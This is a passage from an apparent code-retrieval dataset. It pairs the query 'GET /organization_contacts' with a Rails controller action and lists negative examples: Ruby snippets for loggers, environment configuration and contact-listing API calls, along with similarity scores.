Timber::Logger. Ex: Timber::Logger.new(STDOUT).\")\n end\n\n @extra_loggers = io_devices_and_loggers[1..-1].collect do |obj|\n if is_a_logger?(obj)\n obj\n else\n self.class.new(obj)\n end\n end\n\n io_device = io_devices_and_loggers[0]\n\n super(io_device)\n\n # Ensure we sync STDOUT to avoid buffering\n if io_device.respond_to?(:\"sync=\")\n io_device.sync = true\n end\n\n # Set the default formatter. The formatter cannot be set during\n # initialization, and can be changed with #formatter=.\n if io_device.is_a?(LogDevices::HTTP)\n self.formatter = PassThroughFormatter.new\n elsif Config.instance.development? || Config.instance.test?\n self.formatter = MessageOnlyFormatter.new\n else\n self.formatter = JSONFormatter.new\n end\n\n self.level = environment_level\n\n Timber::Config.instance.debug { \"Timber::Logger instantiated, level: #{level}, formatter: #{formatter.class}\" }\n\n @initialized = true\n end", "def init(*opts)\n if opts.length == 0\n @logger = Logger.new(STDOUT)\n else\n @logger = Logger.new(*opts)\n end\n @logger.formatter = Ohai::Log::Formatter.new()\n level(Ohai::Config.log_level)\n end", "def log_locations\n\n alpine = {path: \"#{Dir.home}\",\n archive_path: \"#{ASSEMBLE_ZIP_DIR}/alpine_logs\"}\n\n alpine_install = {path: \"/tmp/install.log\",\n archive_path: \"#{ASSEMBLE_ZIP_DIR}/alpine_install_logs\"}\n\n postgres = {path: \"#{@chorus_home}/shared/db/server.log\",\n archive_path: \"#{ASSEMBLE_ZIP_DIR}/postgres_logs\"}\n\n chorus = {path: \"#{Rails.root}/log\",\n archive_path: \"#{ASSEMBLE_ZIP_DIR}/chorus_logs\"}\n\n tomcat = {path: max_version_tomcat_path,\n archive_path: \"#{ASSEMBLE_ZIP_DIR}/tomcat_logs\"}\n\n [chorus, alpine, alpine_install, postgres, tomcat]\n end", "def logger\n @logger ||= Logger.new(@log_file_name)\n\n @logger.formatter = proc do |severity, datetime, progname, msg|\n \"%s, [%s #%d] (%s) %5s -- %s: %s\\n\" % [severity[0..0], datetime, $$, Conf.global_conf[:hostname], severity, progname, msg]\n end\n\n if Conf.global_conf[:debug]\n @logger.level = Logger::DEBUG\n else\n @logger.level = Logger::INFO\n end\n @logger\n end", "def get_log_args\n args = {}\n args[\"APP_UUID\"] = @application.uuid if @application\n args[\"DOMAIN\"] = (@application.domain_namespace if @application) || (@domain.namespace if @domain)\n args\n end", "def create(name = nil)\n logger_name = name || caller(1..1).first[/`(.+)'/, 1]\n Logger.new(logger_name)\n end", "def prepare_log\n ProcessLogger.construct('log/logfile.log')\n end", "def initialize(logger)\n @external_logger = logger\n\n @log_level_map = {\n debug: :debug,\n info: :info,\n notice: :notice,\n warning: :warn,\n err: :error,\n # Nothing in Puppet actually uses alert, emerg or crit, so it's hard to say\n # what they indicate, but they sound pretty bad.\n alert: :error,\n emerg: :fatal,\n crit: :fatal\n }\n end", "def parse_tracer_config\n dd_env_variables = ENV.to_h.select { |key, _| key.start_with?('DD_') }\n dd_env_variables.map { |key, value| \"#{key}=#{value}\" }.join(',')\n end", "def logger\n return @logger if @logger\n\n # Figure out where the output should go to.\n output = nil\n if ENV[\"MELISSADATA_LOG\"] == \"STDOUT\"\n output = STDOUT\n elsif ENV[\"MELISSADATA_LOG\"] == \"NULL\"\n output = nil\n elsif ENV[\"MELISSADATA_LOG\"]\n output = ENV[\"MELISSADATA_LOG\"]\n else\n output = nil #log_path.join(\"#{Time.now.to_i}.log\")\n end\n\n # Create the logger and custom formatter\n @logger = Logger.new(output)\n @logger.formatter = Proc.new do |severity, datetime, progname, msg|\n \"#{datetime} - #{progname} - [#{resource}] #{msg}\\n\"\n end\n\n @logger\n end", "def env_vars\n @env ||= calculate_env_vars\n end", "def log\n env['rack.logger']\nend", "def initialize_from_env\n conf_prefix = self.env_variable_prefix.upcase\n\n ENV.keys.reject { |key|\n key !~ /^#{conf_prefix}/ # Ignore everything that doesn't match the prefix\n }.each { |key|\n variable = key[conf_prefix.size..-1].downcase\n\n self.store(variable, ENV[key])\n }\n\n after_initialize\n dump\n end", "def log_path\n @_log ||= ::File.join('log', \"#{ENV.fetch('RACK_ENV')}.log\")\n\n ENV.fetch('LOG_FILE', @_log)\n end", "def levels (args)\n if !instance_variable_defined?(:@log_level)\n Logging.class_eval(Conf.define_accessor(\"log_level\"))\n @log_level = {}\n end\n args.each do |k,v|\n @log_level[k] = v\n end\n end", "def logger\n @logger ||= begin\n l = ::Logger.new logfile\n l.level = loglevel\n l.progname = \"EM::AWS\"\n l\n end\n end", "def report_environment_info\n write_verbose_log(\"Environment Info: #{environment_info}\")\n end", "def init(*opts)\n reset!\n @logger = logger_for(BeanStalk::Worker::Config[:log_location])\n if @logger.respond_to?(:formatter=)\n if BeanStalk::Worker::Config[:log_formatter].eql?(:json)\n @logger.formatter = Mixlib::Log::JSONFormatter.new()\n else\n @logger.formatter = Mixlib::Log::Formatter.new()\n end\n end\n @logger.level = Logger.const_get(\n BeanStalk::Worker::Config[:log_level].to_s.upcase)\n @logger\n end", "def logger\n Logger.new(files[:logfile], 10, 1024000)\n end", "def log_level\n @log_level ||= begin\n log_level = @config.log_level || @config_from_file['galaxy.console.log-level'] || 'INFO'\n case log_level\n when \"DEBUG\"\n Logger::DEBUG\n when \"INFO\"\n Logger::INFO\n when \"WARN\"\n Logger::WARN\n when \"ERROR\"\n Logger::ERROR\n end\n end\n end", "def init_logs\n begin\n if !@cloud.log_directory.nil?\n node_log_file = @cloud.log_directory + \"/#{@name.to_s}.log\"\n if !File.exists?(node_log_file)\n File.new(node_log_file, \"a+\")\n @log_file = node_log_file\n @logger.info \"Created #{node_log_file}\"\n end\n outputter = Log4r::FileOutputter.new(\"#{@name.to_s}-file\", :formatter => FileFormatter.new, :filename => node_log_file, :truncate => false)\n @logger.add(outputter)\n end\n rescue RuntimeError => rerr\n if !rerr.message.eql?(\"Maestro not configured correctly. Either RAILS_ROOT, Rails.root, or ENV['MAESTRO_DIR'] must be defined\")\n @logger.error \"Unexpected Error\"\n @logger.error rerr\n end\n rescue SystemCallError => syserr\n @logger.error \"Error creating Node log file\"\n @logger.error syserr\n rescue StandardError => serr\n @logger.error \"Unexpected Error\"\n @logger.error serr\n end\n end", "def dev_log_level\n if value = tag_value(LOG_LEVEL_TAG)\n value = value.downcase.to_sym\n value = nil unless [:debug, :info, :warn, :error, :fatal].include?(value)\n end\n value\n end", "def check_environment\n if @hostname == nil || @port == nil || @username == nil || @api_key == nil\n raise \"environment variables not set. Please check that you have the following set...\\nJENKINS_HOSTNAME\\nJENKINS_PORT\\nJENKINS_USERNAME\\nJENKINS_API_KEY\"\n end\nend", "def check_environment\n if @hostname == nil || @port == nil || @username == nil || @api_key == nil\n raise \"environment variables not set. Please check that you have the following set...\\nJENKINS_HOSTNAME\\nJENKINS_PORT\\nJENKINS_USERNAME\\nJENKINS_API_KEY\"\n end\nend", "def demonstrating_log_levels\n # Disabled by default\n LOGGER.trace( \"TRACE logs are NOT captured by default\" ) if LOGGER.trace? \n LOGGER.debug( \"DEBUG logs are NOT captured by default\" ) if LOGGER.debug?\n LOGGER.info( \"INFO logs are NOT captured by default\" ) if LOGGER.info?\n\n # Enabled by default\n LOGGER.notice( \"NOTICE logs are captured by default\" )\n LOGGER.warn( \"WARN logs are captured by default\" ) \n LOGGER.error( \"ERROR logs are captured by default\" )\n LOGGER.severe( \"SEVERE logs are captured by default\" )\n LOGGER.fatal( \"FATAL logs are captured by default\" )\n end", "def initialize(appname = nil)\n @appname = appname\n @log = Logger.new(STDERR)\n @log.progname = @appname\n @level = @log.level\n end", "def init_log_values(stencil, context)\n log_values = {}\n log_vars = stencil.fetch(:vars, [])\n\n log_vars.each do |v|\n if v.respond_to?(:each_pair)\n log_values[v.keys.first] = context.eval(v.values.first.to_s)\n else\n log_values[v] = context.eval(v.to_s)\n end\n end\n\n log_values = log_values.each_with_object({}) { |(k, v), h| h[k.to_sym] = v.to_s.dup.force_encoding('UTF-8') }\n\n log_values.empty? ? nil : log_values\n end", "def initialize\n @level = level_for_env\n end", "def performance_cache_logger\n @performance_cache_logger ||= Logger.new(ENV['PERFORMANCE_CACHE_LOG_PATH'] || File.join(\"log\", \"performance_cache.log\"))\n end", "def setup_env\n @databases = Influx::Config::DATABASES\n @influxdb = Influx::Config::CLIENT\nend", "def with_home_logdir(vars_set)\n all_vars = [\"HOME\", \"LOGDIR\"]\n to_restore = {}\n begin\n for var in all_vars\n to_restore[var] = ENV[var]\n if vars_set.include?(var)\n ENV[var] = \"subdir_#{var}\"\n else\n ENV.delete(var)\n end\n end\n yield\n ensure\n for var in all_vars\n value = to_restore[var]\n if value\n ENV[var] = value\n else\n ENV.delete(var)\n end\n end\n end\n end", "def access_log_path\n @_access_log ||= ::File.join('log', \"#{ENV.fetch('RACK_ENV')}_access.log\")\n\n ENV.fetch('ACCESS_LOG_FILE', @_access_log)\n end", "def setup\n self.logger.reopen(File.open(File.join(Lokii::Config.root, Lokii::Config.log), \"a\")) if daemon? && self.logger\n self.logger ||= ::Logger.new(File.join(Lokii::Config.root, Lokii::Config.log))\n end", "def create_logger\n raise \"You should create your own `create_logger` method\"\n end" ]
[ "0.58802617", "0.5512693", "0.548365", "0.54493564", "0.5412021", "0.5330148", "0.53199464", "0.52917814", "0.5280216", "0.5213973", "0.516227", "0.5125711", "0.5105448", "0.5087038", "0.5028018", "0.50257343", "0.49738595", "0.49733123", "0.49472165", "0.4919585", "0.49014986", "0.4883167", "0.48801532", "0.48766327", "0.48762363", "0.48597762", "0.48513743", "0.484173", "0.484173", "0.484173", "0.48169306", "0.48140895", "0.4812177", "0.48117718", "0.48004177", "0.48004177", "0.47981438", "0.47836924", "0.47827336", "0.47792232", "0.47640517", "0.47633284", "0.47472143", "0.4729589", "0.4724215", "0.47238696", "0.47207338", "0.47179407", "0.46956405", "0.46921435", "0.46812737", "0.4675237", "0.46612108", "0.46451792", "0.46168718", "0.46106124", "0.46042925", "0.45903304", "0.45901936", "0.45887148", "0.45818898", "0.4578619", "0.45754507", "0.45699492", "0.45565975", "0.45565975", "0.4552316", "0.45506284", "0.45477158", "0.45445636", "0.45326874", "0.4525593", "0.45213532", "0.45149228", "0.44944605", "0.44896692", "0.4489206", "0.44862133", "0.44833848", "0.4481712", "0.44773048", "0.44721285", "0.44649938", "0.44520396", "0.4451449", "0.44463465", "0.44333676", "0.4432708", "0.44313696", "0.44313696", "0.44270226", "0.4424089", "0.44154808", "0.44151068", "0.44126984", "0.44097817", "0.44087613", "0.44054148", "0.44043553", "0.43983895" ]
0.6035335
0
GET /organization_contacts GET /organization_contacts.json
def index if (current_user.role == "customer" || current_user.role == "supervisor") if params[:org_id].present? add_breadcrumb 'Organizations', 'organizations_path' add_breadcrumb "#{Organization.where(:id => params[:org_id])[0].company_name}", '#' add_breadcrumb "Contacts", 'organization_contacts_path(:org_id => "#{params[:org_id]}")' @organization_contacts = OrganizationContact.where(:delflag => false, :organization_id => "#{params[:org_id]}").paginate(:page => params[:page], :per_page => 5) respond_to do |format| format.html # index.html.erb format.json { render json: @organization_contacts } end else @organization_contacts = OrganizationContact.paginate(:page => params[:page], :per_page => 5) respond_to do |format| format.html # index.html.erb format.json { render json: @organization_contacts } end end else redirect_to error_users_path and return end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_contacts(params={})\n @obj.get('get-contacts', @auth.merge(params))\n end", "def contacts\n respond_with_entity(api.get('/api/v1/profile/contacts'),\n NexaasID::Entities::Profile::Contacts)\n end", "def get_contacts(options = {})\n send_request(\"get\", contacts_url, body: options.to_json)\n end", "def query_contacts(options={}) path = \"/api/v2/contacts\"\n get(path, options, AvaTax::VERSION) end", "def contacts(options = {})\n params = { :limit => 200 }.update(options)\n response = get(PATH['contacts_full'], params)\n parse_contacts response_body(response)\n end", "def contacts\n contact_client.contacts\n end", "def get_contacts(options = {})\n request_params = {}\n request_params[:type] = options[:type] if options[:type]\n request_params[:sortBy] = options[:sort] if options[:sort] \n request_params[:direction] = options[:direction] if options[:direction] \n \n response_xml = http_get(\"#{@xero_url}/contacts\", request_params)\n \n parse_response(response_xml, :request_params => request_params)\n end", "def index\n @contacts = @client.contacts\n end", "def index\n json_response(@contacts, user_id: @user.id, status: :ok)\n end", "def get_contacts(user_or_identifier)\n identifier = identifier_param(user_or_identifier)\n json = parse_response(get(\"/api/#{API_VERSION}/get_contacts\",\n :apiKey => @api_key,\n :identifier => identifier))\n ContactList.new(json)\n end", "def contacts(options = {})\n params = { :limit => 200 }.update(options)\n response = get(params)\n parse_contacts response_body(response)\n end", "def index\n session[:letter] = nil\n\n if !session[:organization]\n init_oco\n end\n if session[:organization] != '0'\n @corp_contacts = Company.where(organization_id: session[:organization]).includes(:offices, :corp_contacts).order(:name)\n else\n @corp_contacts = Company.includes(:offices, :corp_contacts).order(:name)\n end\n #@corp_contacts = Company.order('name').all(:include => [:offices, :corp_contacts])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @corp_contacts }\n end\n end", "def index\n @contacts = current_company.contacts\n respond_to do |format|\n format.xml { render :xml => @contacts }\n format.json { render :json => @contacts }\n end\n end", "def my_contacts(opts = {})\n client.get_my_contacts(opts)\n end", "def get_contacts(options = {})\n request_params = {}\n\n if !options[:updated_after].nil?\n warn '[warning] :updated_after is depracated in XeroGateway#get_contacts. Use :modified_since'\n options[:modified_since] = options.delete(:updated_after)\n end\n\n request_params[:ContactID] = options[:contact_id] if options[:contact_id]\n request_params[:ContactNumber] = options[:contact_number] if options[:contact_number]\n request_params[:order] = options[:order] if options[:order]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n request_params[:where] = options[:where] if options[:where]\n request_params[:page] = options[:page] if options[:page]\n\n response_xml = http_get(@client, \"#{@xero_url}/Contacts\", request_params)\n\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/contacts'})\n end", "def find_by_organization(organization_id, args={})\n path = get_path(organization_id)\n contacts = handle_response(@client.get(path, args))\n\n # return an empty array if didn't get any contacts\n return [] unless contacts\n\n # Wrap each item with Contact\n contacts.each_with_object([]) do |(id, contact), arr|\n arr << set_contact_data(contact, id)\n end\n end", "def contacts!(params = {})\n @contacts ||= get_contacts({\"group\" => self.id}.merge(params))\n end", "def contacts(params = {})\n # contacts in this group\n @contacts ||= get_contacts({\"group\" => self.id}.merge(params))\n end", "def contacts()\n return MicrosoftGraph::Contacts::ContactsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def list_contacts_by_company(companyId, options={}) path = \"/api/v2/companies/#{companyId}/contacts\"\n get(path, options, AvaTax::VERSION) end", "def index\n @contacts = current_user.get_address_book_contacts\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contacts }\n end\n end", "def contacts\n Easybill::Api::Contacts\n end", "def get_agent_contacts(params)\n message = {\n serviceGroupID: params[:service_group_id],\n serviceID: params[:service_id],\n teamID: params[:team_name],\n agentID: params[:agent_id],\n startDate: params[:start_date],\n endDate: params[:end_date],\n contactTypes: params[:contact_type],\n useServiceTime: false\n }\n\n reply = @client.call(:get_contacts, message: message)\n data = reply.body.dig(:get_contacts_response,\n :get_contacts_result,\n :array_of_string)\n\n data = check_if_data_exists(data)\n data = map_contacts_data(data)\n delete_contact_headers(data)\n data\n end", "def get_user_contacts username_for, options = {}\n do_request 'get_user_contacts', options.merge(username_for: username_for)\n end", "def parse_contacts\n case params[:importer]\n when GMAIL, YAHOO, HOTMAIL\n request.env['omnicontacts.contacts'].map { |c| [c[:email], c[:email]] }.to_json\n when LINKEDIN then fetch_linkedin_contacts\n end\n end", "def contacts(params = {})\n # contacts in this group\n @contacts = nil\n contacts!\n end", "def contacts\n contacts = params[:contacts].map{|c| c[1]}\n if contacts\n logger.debug \">>> received #{contacts.length} contacts\"\n end\n render :text => \"ok\"\n end", "def list params={}\n params[:fields] = params[:fields].join(',') if params[:fields]\n params[:record_type] ||= 'person'\n @nimble.get \"contacts\", params\n end", "def index\n @library_contacts = @library_location.library_contacts.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @library_contacts }\n end\n end", "def lookup\n respond_to do |format|\n format.json { render json: Crm::ContactLookup.new(view_context) }\n end\n end", "def index\n @contacts = current_user.contacts\n end", "def get_contacts(opts = {})\n data, _status_code, _headers = get_contacts_with_http_info(opts)\n data\n end", "def list_contact(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/contacts'\n\t\targs[:query]['Action'] = 'ListContact'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :contact_name\n\t\t\targs[:query]['ContactName'] = optional[:contact_name]\n\t\tend\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tself.run(args)\n\tend", "def get_all_contacts_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContactsAndContactListsApi.get_all_contacts ...'\n end\n # resource path\n local_var_path = '/v3/contacts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n return_type = opts[:return_type] \n\n auth_names = opts[:auth_names] || []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContactsAndContactListsApi#get_all_contacts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def contacts\n @contacts ||= Harvest::API::Contacts.new(credentials)\n end", "def get_contacts\n @notification_server.get_contacts\n end", "def contacts\n @contacts = @seller.get_contacts\n end", "def index\n\t\t@contacts = current_user.contacts.get_active_contacts\n\tend", "def index\n @contacts = Contact.all\n render json: {status: 200, contacts: @contacts}\n end", "def get_list(options={})\n rsp = @flickr.send_request('flickr.contacts.getList', options)\n collect_contacts(rsp)\n end", "def index\n @contacts = Contact.all\n render json: @contacts\n end", "def contacts\n @contacts = Employee.by_company_id(params[:company_id]).by_search(params[:search]).by_contacts(current_user).paginate :page => params[:page]\n @active_employers = current_user.employers.active_employers.all\n end", "def all_contacts\n Contact.all\n end", "def contacts(id, limit:, offset: 0, account: nil)\n path = \"filter/#{id}/contacts\"\n get account, path, limit: limit, offset: offset\n end", "def contact(contact, options = {})\n get(\"contacts/#{contact}\", options).pop\n end", "def index\n @contactable = find_contactable\n @contactos = @contactable.contactos\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @contactos }\n end\n end", "def get_all_contacts\n\t\t#@contacts = Contact.find_with_deleted(:all, :conditions=>[\"company_id=?\", get_company_id], :order=>\"coalesce(last_name,'')||''||first_name||''||coalesce(middle_name,'') asc\")\n #Bug 11593 Deleted contacts are displayed in Drop down.\n @contacts = Contact.find(:all, :conditions=>[\"company_id=?\", get_company_id], :order=>\"coalesce(last_name,'')||''||first_name||''||coalesce(middle_name,'') asc\")\n end", "def get_google_contacts\n url = \"https://www.google.com/m8/feeds/contacts/default/full?access_token=#{token}&alt=json&max-results=100\"\n response = open(url)\n json = JSON.parse(response.read)\n my_contacts = json['feed']['entry']\n\n my_contacts.each do |contact|\n name = contact['title']['$t'] || nil\n email = contact['gd$email'] ? contact['gd$email'][0]['address'] : nil\n tel = contact['gd$phoneNumber'] ? contact[\"gd$phoneNumber\"][0][\"$t\"] : nil\n if contact['link'][1]['type'] == \"image/*\"\n picture = \"#{contact['link'][1]['href']}?access_token=#{token}\"\n else\n picture = nil\n end\n contacts.first_or_create({name: name, email: email, tel: tel})\n end\n end", "def contacts\r\n\r\n end", "def show_contacts(filters: {}, orders: {}, **params)\n params[:filters] = filters if filters.any?\n params[:orders] = orders if orders.any?\n\n get('contacts', params)\n end", "def index\n @contacts = current_user.contacts.all\n\n\n end", "def contacts\n contacts_raw.present? ? JSON.parse(contacts_raw) : {}\n end", "def index\n\t\t@page_title = \"My Contacts\"\n\t\t@contacts = current_agendify_user.contacts\n\tend", "def index\n # only show contacts for current login user\n @user = User.find_by_id(current_user.id)\n if (!@user.nil?)\n @contacts = @user.contacts\n end\n end", "def contacts\n\t\t@contact = Contact.first();\n\tend", "def index\n ignore = contact_emails_rejected\n @contacts = resource_owner.contacts.reject do |c|\n ignore.include?(c.emailaddress.downcase)\n end.each{ |c| authorize c }\n session[:ret_url] = contacts_path\n end", "def list\n contacts_index(Contact.all)\n end", "def index\n @contacts = current_user.contacts.paginate(:page => params[:page], :per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contacts }\n end\n end", "def contacts\n collection = CapsuleCRM::ContactCollection.new(self,CapsuleCRM::Contact, [])\n collection.concat emails\n collection.concat phone_numbers\n collection.concat websites\n collection.concat addresses\n collection\n end", "def index\n @subcontractor_contacts = SubcontractorContact.all\n end", "def index\n @employee_contacts = EmployeeContact.all\n end", "def index\n @contacts = CompanyContact.scoped\n\n if params.keys.include? \"company_id\"\n @contacts = @contacts.where(:company_id => params[:company_id]).order('position ASC')\n end\n\n if params.keys.include? \"limit\"\n @contacts = @contacts.limit(params[:limit])\n end\n\n respond_with @contacts\n end", "def show\n render json: Group.find(params[:id]).contacts\n end", "def index\n @contact = current_user.contacts.find(params[:contact_id])\n @requests = @contact.requests\n\n respond_with @requests\n end", "def index\n respond_with Contact.all\n end", "def user_contacts(user_id, options={})\n response = connection.get do |req|\n req.url \"/user/#{user_id}/contacts\", simple_params(options)\n end\n response.body\n end", "def contacts\n @contacts ||= get_attr(:contacts).collect { |c| OpenStruct.new(c) }\n end", "def index\n organizations = if params[:q]\n CclaSignature.search(params[:q])\n else\n Organization.includes(:ccla_signatures)\n end\n\n respond_to do |format|\n format.json do\n render json: organizations.to_json(only: [:id], methods: [:company])\n end\n end\n end", "def getContacts\n @contact_list.each_with_index do |c, i|\n #puts \"#{i +1}) #{c}\"\n puts \"#{i +1}) #{c[:first_name]} #{c[:last_name]} #{c[:email]}\"\n end\n end", "def index\n params_hash = contact_params unless params[:contact].nil?\n\n pars = get_filter_params params_hash\n\n params[:page] ||= 1\n params[:limit] ||= Contact::DEFAULT_PER_PAGE\n params[:limit] = Contact::RESULTS_PER_PAGE.max unless params[:limit].to_i <= Contact::RESULTS_PER_PAGE.max\n\n contact_ids = Rails.cache.fetch(\"#{contacts_url}?q=#{Digest::SHA1.hexdigest(pars.inspect)}\",\n :tag => [\"contacts-filter-#{current_user.id}\"]) do\n\n Contact.where('$and' => pars).pluck(:_id)\n end\n\n @contacts = Contact.includes(:contact_groups).where(:_id => { '$in' => contact_ids })\n .asc('contact_profile.last_name').asc('contact_profile.first_name')\n .page(params[:page]).per(params[:limit])\n\n if @contacts.size < (params[:page].to_i*params[:limit].to_i - params[:limit].to_i)\n params[:page] = @contacts.num_pages\n redirect_to host: contacts_url, params: params and return\n end\n\n @metadata = current_user.metadata\n @groups = ContactGroup.where(uid: current_user.id).asc('label')\n @filters_form_action = '/contacts'\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: { metadata: @metadata, contacts: @contacts, groups: @groups } }\n end\n end", "def contacts!(params = {})\n # contacts in this group\n @contacts = nil\n contacts\n end", "def where(options = {})\n _, _, root = @client.get(\"/contacts\", options)\n\n root[:items].map{ |item| Contact.new(item[:data]) }\n end", "def contacts(options = {}, &callback)\n ensure_connection! { connected_contacts(options, &callback) }\n end", "def index\n @contacts = @current_affiliate_group.contacts.all_open.paginate :page => params[:page], :order => 'created_at desc', :include => [:contact_issue, :issue_status]\n logger.info @contacts.inspect\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.xml { render :xml => @contacts }\n end\n end", "def index\n # @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n\n [:first_name, :last_name, :email].each do |param|\n if params[param].present?\n regexp = /\\A#{Regexp.escape(params[param].strip)}\\Z/i # ignore case\n @contacts = @contacts.where(param => regexp)\n end\n end\n\n if params[:phone].present?\n standard_phone = Contact.standardize_phone_format(params[:phone]) # standardize phone number\n @contacts = @contacts.where(phone: standard_phone)\n end\n\n if @contacts.blank?\n payload = {\n success: { full_messages: ['no record found'] }\n }\n render json: payload, status: :ok\n else\n render json: @contacts if stale? last_modified: @contacts.max(:updated_at)\n end\n end", "def get_contacts_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContactsApi.get_contacts ...'\n end\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ContactsApi.get_contacts, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ContactsApi.get_contacts, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/contacts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'filter[speeddial]'] = opts[:'filter_speeddial'] if !opts[:'filter_speeddial'].nil?\n query_params[:'filter[first_name]'] = opts[:'filter_first_name'] if !opts[:'filter_first_name'].nil?\n query_params[:'filter[last_name]'] = opts[:'filter_last_name'] if !opts[:'filter_last_name'].nil?\n query_params[:'filter[company]'] = opts[:'filter_company'] if !opts[:'filter_company'].nil?\n query_params[:'filter[email]'] = opts[:'filter_email'] if !opts[:'filter_email'].nil?\n query_params[:'filter[email_work]'] = opts[:'filter_email_work'] if !opts[:'filter_email_work'].nil?\n query_params[:'filter[phone_work]'] = opts[:'filter_phone_work'] if !opts[:'filter_phone_work'].nil?\n query_params[:'filter[mobile_work]'] = opts[:'filter_mobile_work'] if !opts[:'filter_mobile_work'].nil?\n query_params[:'filter[phone]'] = opts[:'filter_phone'] if !opts[:'filter_phone'].nil?\n query_params[:'filter[mobile]'] = opts[:'filter_mobile'] if !opts[:'filter_mobile'].nil?\n query_params[:'filter[blocked]'] = opts[:'filter_blocked'] if !opts[:'filter_blocked'].nil?\n query_params[:'search[number]'] = opts[:'search_number'] if !opts[:'search_number'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Contact>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContactsApi#get_contacts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @breadcrumb = 'read'\n @corp_contact = CorpContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @corp_contact }\n end\n end", "def contacts\n\t\t@user = current_user\n\t\tcheck_if_myself\n\t\t@contacts = @user.contacts\n\tend", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact.all\n end", "def index\n @contacts = Contact\n\n if params[:project_id]\n # https://stackoverflow.com/q/680141/6594668\n @contacts = Contact.where(contactable_type: 'Project')\n .joins('INNER JOIN projects ON contacts.contactable_id = projects.id')\n .where(projects: { identifier: params[:project_id] }).all\n end\n\n @contacts = @contacts.where(id: params[:id]) if params[:id]\n\n @contacts = @contacts.all\n end", "def index\n contacteds = @business.contacteds\n \n render json: contacteds\n end", "def organization\n _get(\"/account/organization\") { |json| json }\n end", "def get_contacts\n\n #@company = Benefits.find.params[:company_id]\n #@contacts = @company.contacts\n\n Rails.logger.warn \"#{:areabenefit_id} jajaxxx\"\n @contacts = Benefit.where(areabenefit_id: params[:areabenefit_id], asistencia: '1')\n end", "def index\n @contact_properties = @active_org.contact_properties\n\n if current_person.has_role?(:super_admin)\n @contact_properties = ContactProperty.all\n end\n end", "def index\n @user_contacts = UserContact.all\n render :json => user_contact_data(@user_contacts)\n end", "def index\n @contact_companies = ContactCompany.all\n end", "def index\n @contacts = @user.contacts\n .page(params[:page]).per_page(12)\n .order(\"#{sort_column} #{sort_direction}\")\n .search(params[:search])\n\n respond_to do |format|\n format.html\n format.json { render json: @contacts }\n format.js\n end\n end", "def contacts(uid, params={})\n response = @client.get \"#{@path}/#{uid}/contacts\", params\n PaginateResource.new \"#{@path}\", @client, response, Textmagic::REST::Contact\n end" ]
